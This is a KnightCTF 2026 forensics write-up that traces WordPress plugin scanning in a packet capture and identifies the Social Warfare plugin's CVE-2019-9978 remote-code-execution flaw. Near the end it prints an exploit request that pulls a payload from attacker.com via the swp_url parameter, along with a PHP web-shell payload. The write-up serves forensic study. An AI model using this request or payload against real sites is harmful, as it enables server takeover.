KnightCTF 2026 - Forensics: Vulnerability Exploitation#

Step 1: Identify Plugin Scanning Activity#

The attacker (192.168.1.104) was scanning for WordPress plugins. Searching for plugin readme.txt requests:

1
strings pcap2.pcapng | grep -i 'readme.txt' | sort -u

Found targeted plugin scans:

1
HEAD /wordpress/wp-content/plugins/social-warfare/readme.txt HTTP/1.1
2
GET /wordpress/wp-content/plugins/social-warfare/readme.txt HTTP/1.1
3
HEAD /wordpress/wp-content/plugins/thim-blocks/readme.txt HTTP/1.1
4
GET /wordpress/wp-content/plugins/thim-blocks/readme.txt HTTP/1.1

Step 2: Extract Plugin Information#

Exported HTTP objects from the pcap:

1
tshark -r pcap2.pcapng -Y 'http' --export-objects 'http,/tmp/http_export'

Step 3: Analyze readme.txt Content#

Read the exported readme.txt file to find plugin details:

1
cat /tmp/http_export/readme.txt

Content revealed:

1
=== WordPress Social Sharing Plugin - Social Warfare ===
2
Contributors: holas84, dustinwstout, webinator, warfareplugins...
3
Tags: sharing buttons, social media share, floating share buttons...
4
Requires at least: 4.5.0
5
Tested up to: 5.1
6
Stable tag: 3.5.2
7
Requires PHP: 5.6

Step 4: Vulnerability Identification#

Social Warfare version 3.5.2 is vulnerable to CVE-2019-9978 - an Unauthenticated Remote Code Execution (RCE) vulnerability.

This vulnerability allows attackers to inject malicious payloads via the swp_url parameter, leading to arbitrary code execution on the server.

Affected Versions: < 3.5.3

CVE-2019-9978 - Social Warfare RCE#

How the Attack Works#

1. Attacker scans for Social Warfare plugin presence via readme.txt
2. Plugin confirmed with version 3.5.2 (vulnerable)
3. Exploit uses swp_url parameter to load malicious payload
4. Payload executes arbitrary PHP code on the server

Exploitation Example#

1
GET /wordpress/?swp_url=http://attacker.com/payload.txt

Where payload.txt contains:

1
<pre>system($_GET['cmd'])</pre>